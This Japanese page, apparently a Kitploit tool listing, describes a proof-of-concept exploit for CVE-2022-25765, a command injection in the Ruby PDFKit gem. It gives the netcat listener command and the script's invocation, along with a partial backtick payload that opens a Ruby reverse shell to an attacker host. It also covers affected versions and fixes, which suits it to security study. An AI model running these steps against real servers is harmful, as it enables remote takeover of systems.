CVE-2022-25765 — CVE-2022-25765 のエクスプロイト | Kitploit

CVE-2022-25765 エクスプロイト

CVE-2022-25765 用の小さな POC エクスプロイト、PDFkit-CMD-Injection

使用方法

攻撃マシンで netcat リスナーを起動します:
```
nc -lvnp 4444
```

エクスプロイトを実行します:

python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT

例:

python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444

パラメータ:

-t, --target: 脆弱な PDFKit が動作しているターゲットURL
-l, --lhost: リバースシェル接続用のあなたのIPアドレス
-p, --lport: リバースシェル接続用のあなたのポート (netcat リスナーと一致する必要があります)

脆弱性情報

CVE ID: CVE-2022-25765
CVSS v3.1 スコア: 9.8 (緊急)
EPSS スコア: 71.381% (99パーセンタイル)
CWE: CWE-77 - コマンドで使用される特殊要素の不適切な無効化

影響を受けるバージョン

脆弱なバージョン: PDFKit 0.0.0 - 0.8.6
修正済みバージョン: PDFKit 0.8.7.2+

説明

PDFKit は、wkhtmltopdf コマンドラインツールを使用して HTML を PDF に変換する Ruby gem です。この脆弱性は、PDFKit が PDF 生成のために URL パラメータをシステムシェルコマンドに渡す前の処理方法に存在します。

技術的詳細

脆弱性は lib/pdfkit/source.rb に存在し、URL のサニタイズが適切に実装されていません:

def shell_safe_url
  url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end

問題点:

PDFKit は URL のエスケープが必要かどうかを判断するために欠陥のあるロジックを使用しています
シェルのメタ文字 (バッククォート、セミコロン、パイプなど) がこのチェックをバイパスする可能性があります
サニタイズされていない URL が wkhtmltopdf を呼び出すシェルコマンドに直接渡されます
攻撃者はサーバー上で実行される任意のコマンドを注入できます

攻撃ベクトル:

複雑さ: 低
必要な権限: なし
ユーザー操作: なし
ネットワークアクセス: 必須

このエクスプロイトの動作方法

この PoC は以下の方法で脆弱性を悪用します:

バッククォートのコマンド置換を含む悪意のある URL を注入する
ペイロード: http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
PDFKit は URL パラメータ内のバッククォートをサニタイズできない
wkhtmltopdf が URL を処理するとき、シェルが Ruby リバースシェルを実行する
ターゲットシステムが攻撃者のリスナーに接続し返す

影響

機密性: 高 - システムへの完全なアクセス
完全性: 高 - 任意のファイルを変更可能
可用性: 高 - システム混乱の可能性

成功するエクスプロイトの前提条件

ターゲットシステム上:

脆弱な PDFKit バージョン (< 0.8.7.2)
Ruby がインストールされている (リバースシェルペイロードに必要)
アプリケーションが PDFKit に渡されるユーザー制御の URL を受け入れる
アウトバウンド接続をブロックするエグレスフィルタリングがない

修正方法

PDFKit のアップグレード をバージョン 0.8.7.2 以降に
入力検証: URL 入力に対して厳格な許可リストを実装する
サンドボックス化: PDFKit プロセスを最小限の権限で隔離されたコンテナで実行する
ネットワークセグメンテーション: PDF 生成サービスからのアウトバウンド接続を制限する
WAF ルール: URL パラメータ内のシェルメタ文字を検出するルールを導入する

参考情報

ツールをダウンロード